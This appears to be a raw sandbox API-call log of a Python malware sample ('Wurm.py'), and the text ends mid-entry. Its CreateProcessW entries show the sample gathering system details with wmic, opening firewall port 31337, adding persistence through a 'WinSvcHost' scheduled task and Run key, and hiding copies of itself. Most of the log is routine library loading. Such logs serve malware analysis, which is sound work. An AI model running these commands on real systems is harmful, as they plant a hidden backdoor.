"python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\6\9 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\6\9\2 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-metadata-367lmctw (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\d\8 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\d\8\7 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\d\8\7\b (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\d\8\7\b\2 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-unpack-paqj_a2e (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\0\b (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\0\b\f (UID: 00000000-00007600)4d:Te9d,"python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "ver"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%LOCALAPPDATA%\Programs\Python\Python311\python.exe -m pip install -q --disable-pip-version-check --no-input --no-" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "wmic computersystem get model"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "wmic bios get serialnumber"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 py" >nul 2>&1"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 tcp" >nul 2>&1"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 udp" >nul 2>&1"" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%USERPROFILE%\App" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337" - (UID: 00000000-00008020), "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%USERPROFILE%\A" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "schtasks /create /tn WinSvcHost /tr "'%LOCALAPPDATA%\Programs\Python\Python311\pyt" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinSvcHost /t REG_SZ /d "'C:\Users\v" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "C:\Wurm.py""" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%APPDATA%\Microsoft\Windows\Caches\svc.py""" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%TEMP%\.k9_68be.py""" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%APPDATA%\svc_back.py""" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%LOCALAPPDATA%\Programs\Python\Python311\python.exe C:\Wurm.py --guard 8020" - (UID: 00000000-00008020) "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "ver"" - (UID: 00000000-00007600) "cmd.exe" called "CreateProcessW" with parameter "wmic computersystem get model" - (UID: 00000000-00003264) "cmd.exe" called "CreateProcessW" with parameter "wmic bios get serialnumber" - (UID: 00000000-00006896) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="k9 py"" - (UID: 00000000-00002820) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="k9 tcp"" - (UID: 00000000-00002284)4e:T23f2,"python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\python3 (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_hashlib.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_socket.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\select.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_bz2.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_lzma.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ctypes.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ssl.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\cryptography\hazmat\bindings\_rust.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\_cffi_backend.cp311-win_amd64.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\yaml\_yaml.cp311-win_amd64.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_asyncio.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_overlapped.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\bcrypt\_bcrypt.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\nacl\_sodium.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\unicodedata.pyd (UID: 00000000-00008020) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\python3 (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_bz2.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_lzma.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\unicodedata.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_decimal.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ctypes.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_socket.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\select.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_queue.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_hashlib.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter ole32 (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ssl.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\_uuid.pyd (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007600) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\DLLs\pyexpat.pyd (UID: 00000000-00007600) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001520) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001520) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001520) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001520) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001520) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001508) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001508) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001508) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001508) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001508) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00002060) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00002060) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00002060) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002060) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00008852) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00008852) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00008852) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008852) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00002664) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00002664) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00002664) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002664) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00001896) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00001896) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00001896) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001896) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00004364) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00004364) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00004364) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004364) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00007560) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00007560) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00007560) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007560) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00005936) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00005936) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005936) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005936) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004424) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004424) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004424) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004424) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004424) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004700) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004700) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004700) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004700) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004700)4f:T1454f,"python.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__hashlib (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__socket (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit_select (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__bz2 (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__lzma (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__ctypes (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__ssl (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter IsUserAnAdmin (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__rust (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__cffi_backend (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__yaml (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__asyncio (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__overlapped (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__bcrypt (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit__sodium (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter OPENSSL_Applink (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter PyInit_unicodedata (UID: 00000000-00008020) "python.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00008020) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004724) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004724) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004724) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004724) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004724) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004724) "python.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__bz2 (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__lzma (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit_unicodedata (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__decimal (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__ctypes (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__socket (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit_select (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__queue (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__hashlib (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CLSIDFromString (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetShortPathNameW (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__ssl (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit__uuid (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter FillConsoleOutputCharacterW (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter FillConsoleOutputAttribute (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter SetConsoleCursorPosition (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter GetConsoleCursorInfo (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter SetConsoleCursorInfo (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertCreateCertificateChainEngine (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertAddEncodedCertificateToStore (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertCreateCertificateContext (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter CertFreeCertificateChainEngine (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007600) "python.exe" called "GetProcAddress" with a parameter PyInit_pyexpat (UID: 00000000-00007600) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001148) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003264) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003264) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003264) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003264) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003264) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003264) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlSubscribeWnfStateChangeNotification (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00001520) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnsubscribeWnfNotificationWaitForCompletion (UID: 00000000-00001520) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006896) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006896) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006896) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006896) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006896) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006896) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001508) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 